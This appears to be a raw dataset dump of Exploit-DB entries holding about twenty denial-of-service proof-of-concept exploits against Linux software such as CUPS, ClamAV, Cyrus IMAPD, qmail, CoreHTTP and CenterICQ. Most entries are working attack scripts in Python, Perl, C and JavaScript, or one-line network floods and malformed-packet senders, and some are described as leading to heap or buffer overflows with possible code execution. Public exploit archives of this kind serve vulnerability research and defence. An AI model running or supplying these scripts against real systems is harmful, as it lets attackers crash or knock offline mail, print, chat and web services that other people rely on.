deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39873
Description: CCextractor 0.80 - Crash (PoC)
Type: dos
Platform: linux
Date: 2016-05-31
Author: David Silveiro

Exploit:
# Exploit Title: CCextractor 0.80 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro (Xino.co.uk)
# Vendor Homepage: http://www.ccextractor.org/
# Software Link: http://www.ccextractor.org/download-ccextractor.html
# Version: 0.80
# Tested on: Ubuntu 14 LTS
# CVE : 0 day

from subprocess import call
from shlex import split
from time import sleep


def crash():

    command = './ccextractor crash'

    buffer = '\x00\x00\x00\x04ssixssixs'

    with open('crash', 'w+b') as file:
        file.write(buffer)

    try:
        call(split(command))
        print("Exploit successful!             ")

    except:
        print("Error: Something has gone wrong!")


def main():

    print("Author:   David Silveiro                         ")
    print("   CCextractor 0.80 Access Violation Crash       ")

    sleep(2) 

    crash()
 

if __name__ == "__main__":
    main()
Exploit-DB #26666
Description: CenterICQ 4.20/4.5 - Packet Handling Remote Denial of Service
Type: dos
Platform: linux
Date: 2005-11-29
Author: Wernfried Haas

Exploit:
// source: https://www.securityfocus.com/bid/15649/info

CenterICQ is prone to a remote denial-of-service vulnerability.

The vulnerability presents itself when the client is running on a computer that is directly connected to the Internet and handles malformed packets on the listening port for ICQ messages.

A successful attack can cause the client to crash. 

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define DEST_IP   "192.168.1.33"
#define DEST_PORT 7777

    main()
    {
        int sockfd;
        struct sockaddr_in dest_addr;   // will hold the destination addr

        sockfd = socket(AF_INET, SOCK_STREAM, 0); // do some error checking!

        dest_addr.sin_family = AF_INET;          // host byte order
        dest_addr.sin_port = htons(DEST_PORT);   // short, network byte order
        dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
        memset(&(dest_addr.sin_zero), '\0', 8);  // zero the rest of the struct

        // don't forget to error check the connect()!
        connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
	char *msg[] = { 0x01 };
	send(sockfd, msg, 1, 0);
}
Exploit-DB #28348
Description: Clam Anti-Virus ClamAV 0.88.x - UPX Compressed PE File Heap Buffer Overflow
Type: dos
Platform: linux
Date: 2006-08-07
Author: Damian Put

Exploit:
source: https://www.securityfocus.com/bid/19381/info

ClamAV is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. 

This issue occurs when the application attempts to handle compressed UPX files. 

Exploiting this issue could allow attacker-supplied machine code to execute in the context of the affected application. The issue would occur when the malformed file is scanned manually or automatically in deployments such as email gateways.

ClamAV versions 0.88.2 and 0.88.3 are vulnerable to this issue; prior versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28348.exe
Exploit-DB #23667
Description: ClamAV Daemon 0.65 - UUEncoded Message Denial of Service
Type: dos
Platform: linux
Date: 2004-02-09
Author: Oliver Eikemeier

Exploit:
source: https://www.securityfocus.com/bid/9610/info

A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users.

Save the following file to ~/clamtest.mbox:

From -

begin 644 byebye
byebye
end

Then do:

# clamscan --mbox -v ~/clamtest.mbox
assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887
Abort (core dumped)
Exploit-DB #30898
Description: Common UNIX Printing System 1.2/1.3 SNMP - 'asn1_get_string()' Remote Buffer Overflow
Type: dos
Platform: linux
Date: 2007-11-06
Author: wei_wang

Exploit:
source: https://www.securityfocus.com/bid/26917/info

Common UNIX Printing System (CUPS) is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects CUPS 1.2 and 1.3, prior to 1.3.5; other versions may also be vulnerable.

P0C:
===
#!/usr/bin/perl
#if 0
# backend_snmp_poc.pl write by wei_wang@mcafee.com
# 2007-11-06
#
# snmp.c asn1_get_string integer overflow cups 1.3.4
#
#    packet->error = "No community name";
#  else if ((length = asn1_get_length(&bufptr, bufend)) == 0)
#    packet->error = "Community name uses indefinite length";
#  else
#  {
#    asn1_get_string(&bufptr, bufend, length, packet->community,
#                    sizeof(packet->community));
#
#    if ((packet->request_type = asn1_get_type(&bufptr, bufend))
#
#002a: 30 38  tag=0x30 len=0x38
#002c: 02 01 00                 version:1 (0)
#002f: 04 84 ff ff ff ff 69 63       community:public
#len is 0xffffffff
#endif

my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $SOCK_DGRAM=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
while(1)
{
  my $rip=recv (SOCKET,$Cmd,100,0);
  send (SOCKET,$payload,0,$rip) or die "send false";
  print "$Cmd";
}
Exploit-DB #27144
Description: CommuniGate Pro 5.0.6 - Server LDAP Denial of Service
Type: dos
Platform: linux
Date: 2006-01-28
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/16407/info

CommuniGate Pro Server is prone to a remote denial-of-service vulnerability with a potential for arbitrary code execution. This issue reportedly resides in the LDAP component of the application.

CommuniGate Pro Server 5.0.6 is vulnerable; earlier versions may also be affected. 

#!/usr/bin/env python
# Use this code at your own risk.
# It may crash your server!
# Author: Evgeny Legerov

import sys
import socket

HELP="""
CommuniGate Pro 5.0.6 vulnerability.
Found with ProtoVer LDAP testsuite v1.1

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread [PII_REDACTED] (LWP 20235)]
0xada99bbc in memcpy () from /lib/libc.so.6
(gdb) backtrace
#0  0xada99bbc in memcpy () from /lib/libc.so.6
#1  0x083924b8 in STCopyCString ()
#2  0x08349d5b in BERPackedData::makeCString ()
#3  0x081ae71a in VLDAPInput::processBINDrequest ()
#4  0x081af747 in VLDAPInput::processInput ()
#5  0x082c9373 in VStream::worker ()
#6  0x082ca1e9 in VStream::starter ()
#7  0x08399e7d in STThreadStarter ()
#8  0xadb8bb80 in start_thread () from /lib/libpthread.so.0
#9  0xadaf8dee in clone () from /lib/libc.so.6
(gdb) x/i $eip
0xada99bbc <memcpy+28>: repz movsl %ds:(%esi),%es:(%edi)
(gdb) info regi esi edi ecx
esi            0x8688961        141068641
edi            0x86c6fff        141324287
ecx            0x3fff7eae      [PII_REDACTED]
"""

print HELP

host="localhost"
port=389

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

s  = "\x30\x12\x02\x01\x01\x60\x0d\x02\x01\x03\x04\x02\x44\x4e\x80"
s += "\x84\xff\xff\xff\xff"

sock.sendall(s)
sock.close()
1+1=2
Exploit-DB #8982
Description: Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2009-06-17
Author: metalhoney

Exploit:
#!/usr/bin/perl
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################
# compface <= 1.5.2 bufer overflow p o c
# vuln only excist on debian and ubuntu? - packages.debian.org/compface -
# author: metalhoney ------- metalhoney1@hotmail.com -------
#########################################################################
open(ISLAM,">allah.xbm") or die;
print ISLAM "#define noname_width 48\n#define noname_height 48\n";
print ISLAM "static ";
print ISLAM "A"x184;
print ISLAM " char = {\n";
close(ISLAM) or die;
print "run now: compface allah.xbm\nmetalhoney signing off\nviva islam\n";
#########################################################################
####VIVA#ISLAM##################################################ALLAH####
#########################################################################

# milw0rm.com [2009-06-17]
Exploit-DB #17400
Description: Conky Linux 1.8.0 - Local Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2011-06-14
Author: Arturo D'Elia

Exploit:
/*                                                      */
/*  Vulnerability Conky 1.8.0 on Linux                  */
/*   Tested on: Linux with kernel 2.6.32.1-smp          */
/*       Found: by Arturo D'Elia                        */
/*  Date found: 12 Dec 2010                             */
/*         Fix: No Fix                                  */
/*    Contacts: arturo.delia@libero.it                  */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char killyou[]=  "# w000wwwww i exploit it and i kill you!";

int main( int argc, char **argv){

    FILE *fp;

    /*  Write the information program*/
    printf("\n[*] Conky 1.8.0 Local DoS/PoC Exploit [*]\n");
    printf("[*]       Coded by: Arturo D'Elia\n");
    printf("[*]      Tested on: Linux\n");
    printf("[*] Kernel version: 2.6.32.1-smp\n");
    printf("[*]      Bug Found: 12 Dec 2010\n");
    printf("[*]       Contacts: arturo.delia@libero.it\n\n");

    /*  Check the input parameter   */
    if(argc!=2)
        exit(fprintf(stderr,"Usage: %s < path conkyrc >\n",argv[0]));

    /*  Check file exsist           */
    printf("[>] Open conky configuration\n");
    if((fp=fopen(argv[1],"r"))==NULL)
        exit(fprintf(stderr,"[x] Cannot open %s file\n",argv[1]));
    fclose(fp);

    /*  Open file for append and i send it the  */
    /*  exploited strings                       */
    fp=fopen(argv[1],"a");
    printf("[>] Send the DoS/PoC string\n");
    fprintf(fp,"%s\n",killyou);
    fclose(fp);

    /*  Wait 3 seconds              */
    usleep(3000000);

    /*  Resend exploited strings    */
    fp=fopen(argv[1],"a");
    fprintf(fp,"%s\n",killyou);
    fclose(fp);

    /*  Ok guy.                     */
    printf("[*] Ok guy, you kill it.\n\n");
return 0;
}
Exploit-DB #30956
Description: CoolPlayer 2.17 - 'CPLI_ReadTag_OGG()' Buffer Overflow
Type: dos
Platform: linux
Date: 2007-12-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27061/info

CoolPlayer is prone a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

The issue occurs when handling specially crafted OGG files.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts likely result in denial-of-service conditions.

CoolPlayer 217 is vulnerable; other versions may also be affected.

vorbiscomment -t cTag=AAA_2500_A's_AAA -a input.ogg output.ogg
Exploit-DB #10349
Description: CoreHTTP Web server 0.5.3.1 - Off-by-One Buffer Overflow
Type: dos
Platform: linux
Date: 2009-12-02
Author: Patroklos Argyroudis

Exploit:
# bugtraq: http://seclists.org/bugtraq/2009/Dec/99
# census ID: census-2009-0003
# URL: http://census-labs.com/news/2009/12/02/corehttp-web-server/
# CVE ID: CVE-2009-3586
# Affected Products: CoreHTTP web server versions buffer,
# 46: "%" PATHSIZE_S "[A-Za-z] %" PATHSIZE_S "s%*[ \t\n]", req, url);
# 
# The buffers req and url are declared to be of size 256 bytes (PATHSIZE)
# and the sscanf() call writes 256 bytes (PATHSIZE_S) to these buffers
# without NULL terminating them.
# 
# Note that this is not vulnerability CVE-2007-4060 in which the same
# sscanf() call contained no bounds check at all.
#
# This vulnerability can lead to denial of service attacks against the
# CoreHTTP web server and potentially to the remote execution of
# arbitrary code with the privileges of the user running the server. We
# have developed a proof-of-concept exploit to demonstrate the
# vulnerability:
#
# http://census-labs.com/media/corex.txt
#
# For the time being, one may use the following workaround to address this
# issue, until an official fix is released by the author:
#
# http://census-labs.com/media/corehttp-0.5.3.1-patch.txt
#
# -- 
#Patroklos Argyroudis
#http://www.census-labs.com/

#!/usr/bin/env python
# corex.py -- Patroklos Argyroudis, argp at domain census-labs.com
#
# Denial of service exploit for CoreHTTP web server version <= 0.5.3.1:
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3586
#
# For a detailed analysis see:
#
# http://census-labs.com/news/2009/12/02/corehttp-web-server/

import os
import sys
import socket

def main(argv):
argc = len(argv)

if argc != 3:
print "usage: %s " % (argv[0])
sys.exit(0)

host = argv[1]
port = int(argv[2])

print "[*] target: %s:%d" % (host, port)

payload = "A" * 257 + "/index.html HTTP/1.1\r\n\r\n"

print "[*] payload: %s" % (payload)

sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sd.connect((host, port))
sd.send(payload)
sd.close()

if __name__ == "__main__":
main(sys.argv)
sys.exit(0)
Exploit-DB #23274
Description: Coreutils 4.5.x - LS Width Argument Integer Overflow
Type: dos
Platform: linux
Date: 2003-10-22
Author: druid

Exploit:
source: https://www.securityfocus.com/bid/8875/info

Coreutils 'ls' has been reported prone to an integer overflow vulnerability. The issue reportedly presents itself when handling width and column display command line arguments. It has been reported that excessive values passed as a width argument to 'ls' may cause an internal integer value to be misrepresented. Further arithmetic performed based off this misrepresented value may have unintentional results.

Additionally it has been reported that this vulnerability may be exploited in software that implements and invokes the vulnerable 'ls' utility to trigger a denial of service in the affected software. 

#!/usr/bin/perl

# DoS sploit for ls 
# tested against wu-ftpd 2.6.2

# coded by (c) druid 
# greets to viator

use Net::FTP;

(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target> <count>";
my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)


print ":: Trying to connect to target system at: $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not 
connect: $!";
print "Connected!\n";
$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!\n";
$ftp->cwd("/");
while ($count)
{
$ftp->ls("-w $cols -C");
 $count--; 
}
print "Done!\n";
$ftp->quit;
Exploit-DB #23943
Description: Crackalaka IRC Server 1.0.8 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2004-04-09
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10092/info

It has been reported that Crackalaka may be prone to a remote denial of service vulnerability that may allow an attacker to crash the server by sending an excessive amount of data.

Crackalaka version 1.0.8 is reported to be prone to this issue, however, other versions could be vulnerable as well. 

nc [host] 6667 < /dev/urandom
Exploit-DB #22619
Description: CUPS 1.1.x - Cupsd Request Method Denial of Service
Type: dos
Platform: linux
Date: 2003-05-20
Author: Phil D'Amore

Exploit:
source: https://www.securityfocus.com/bid/7637/info

The cupsd has been reported prone to a denial of service vulnerability.

Reportedly the cupsd does not adequately apply a time-out process for malicious HTTP requests and service is denied to subsequent cupsd requests.

This issue may be exploited by remote attackers to deny cupsd service to valid users.

$ telnet <your_favorite_cups_server> ipp
POST /printers/<your_favorite_printer> HTTP/1.1

Don't enter the second carriage return to complete the headers, just the POST line and one carriage return.
Exploit-DB #24599
Description: CUPS 1.1.x - UDP Packet Remote Denial of Service
Type: dos
Platform: linux
Date: 2004-09-15
Author: Alvaro Martinez Echevarria

Exploit:
source: https://www.securityfocus.com/bid/11183/info

CUPS is prone to a remotely exploitable denial of service vulnerability that may be triggered through port 631 by a zero-length UDP packet.

nmap -sU -p 631 example.com
Exploit-DB #7150
Description: CUPS 1.3.7 - Cross-Site Request Forgery (Add RSS Subscription) Remote Crash
Type: dos
Platform: linux
Date: 2008-11-18
Author: Adrian _pagvac_ Pastor

Exploit:
<!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}

/*
TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
*/
</script>

# milw0rm.com [2008-11-18]
Exploit-DB #1196
Description: CUPS Server 1.1 - GET Denial of Service
Type: dos
Platform: linux
Date: 2005-09-05
Author: tracewar

Exploit:
/* dl-cups.c v0.1
 * CUPS server freeze and processor load "fuckup" exploit
 * bug found and exploit coded by tracewar  (darklogic team)
 * for educaional purposes only.
 *****************************************************************
 * greetz goes to:
 * setuid, matan.
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

char EVIL[] = "\x2e\x2e\x5c\x2e\x2e";

void usage(char *argv0) {
	fprintf(stdout, "cups/1.x server freeze and remote cpu usage fuckup\n");
	fprintf(stdout, "exploit coded and bug found by tracewar of darklogic\n\n");
	fprintf(stdout, "usage: %s remote_host remote_port\n", argv0);
	exit(0);
}

int main(int argc, char **argv) {
	char	buffer[50] = "GET /";
	int	sock;
        struct	sockaddr_in	serv_addr;
        struct	hostent	*crap;

	if(argc != 3)
		usage(argv[0]);

	printf("# Making our evil buffer... ");	
	snprintf(&buffer[5], 47, "%s", EVIL);        
	strcat(buffer, "\r\n");
	printf("(done)\n");

        sock = socket(AF_INET, SOCK_STREAM, 0);
        if(sock < 0)
                return printf("# error creating socket.\n");
        crap = gethostbyname(argv[1]);
        if(crap == NULL)
                return printf("# cant resolve the specified hostname: %s\n", argv[1]);
        else
                printf("# connecting to victim... ");

        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(atoi(argv[2]));
        bcopy((char *)crap->h_addr, (char *)&serv_addr.sin_addr.s_addr, crap->h_length);

        if (connect(sock, &serv_addr, sizeof(serv_addr)) < 0)
                return printf("(error)\n# check again %s:%d\n", argv[1], atoi(argv[2]));

        printf("(done)\n# sending crafted string... ");
        if( (send(sock, buffer, strlen(buffer), 0)) == -1 )
                return printf("\n# error while sending the crafted string.!\n");
	close(sock);
        return puts("(done)\n# The server should be frozen now with 100\% cpu usage.");

}

// milw0rm.com [2005-09-05]
Exploit-DB #19870
Description: CVS 1.10.7 - Local Denial of Service
Type: dos
Platform: linux
Date: 2000-04-23
Author: Michal Szymanski

Exploit:
source: https://www.securityfocus.com/bid/1136/info

CVS stands for Concurrent Versions Software and is an open-source package designed to allow multiple developers to work concurrently on a single source tree, recording changes and controlling versions. It is possible to cause a denial of service for users of CVS due to predictable temporary filenames. CVS uses locking directories in /tmp and combines the static string 'cvs-serv' with the process ID to use as filenames. This is trivial to guess for an attacker, and since /tmp is world writeable, directories can be created with predicted names. CVS drops root priviliges, so these directories cannot be overwritten and every session for which a locking directory has been already created (by the attacker) will be broken.

The following perl script will create many directories in /tmp with incrementing pids:

#!/usr/bin/perl

$min=400;
$max=4000;

for ($x=$min;$x<=$max;$x++) {
open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
chmod 0600, "/tmp/cvs-serv$x";
close CVSTMP;
}
Exploit-DB #22061
Description: Cyrus IMAPD 1.4/1.5.19/2.0.12/2.0.16/2.1.9/2.1.10 - Pre-Login Heap Corruption
Type: dos
Platform: linux
Date: 2002-12-02
Author: Timo Sirainen

Exploit:
source: https://www.securityfocus.com/bid/6298/info

Cyrus IMAPD is a freely available, open source Interactive Mail Access Protocol (IMAP) daemon. It is available for Unix and Linux operating systems.

It has been reported that Cyrus IMAPD does not sufficiently handle overly long strings. In some cases, when a user connects to the daemon, and upon negotiating the connection sends a login string of excessive length, a buffer overflow occurs. This could result in heap corruption and arbitrary words in memory being overwritten. It may be possible to exploit this issue to execute arbitrary code.

perl -e 'print "x login {[PII_REDACTED]}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2
<ctrl-c>
Exploit-DB #20561
Description: Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (1)
Type: dos
Platform: linux
Date: 1997-06-12
Author: Frank DENIS

Exploit:
source: https://www.securityfocus.com/bid/2237/info

qmail is an e-mail server package developed by Dan Bernstein.

The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.

This behaviour is due to the dynamically allocated memory being exhausted.

The condition occurs in situations where resource limits are not imposed on the server process.

Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.

Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.

It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
my $port = 25; my $proto = getprotobyname("tcp");
my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
while(<SKT>){
send(SKT,$infstr,0) || die "send() $!";
}
die "Connection lost!";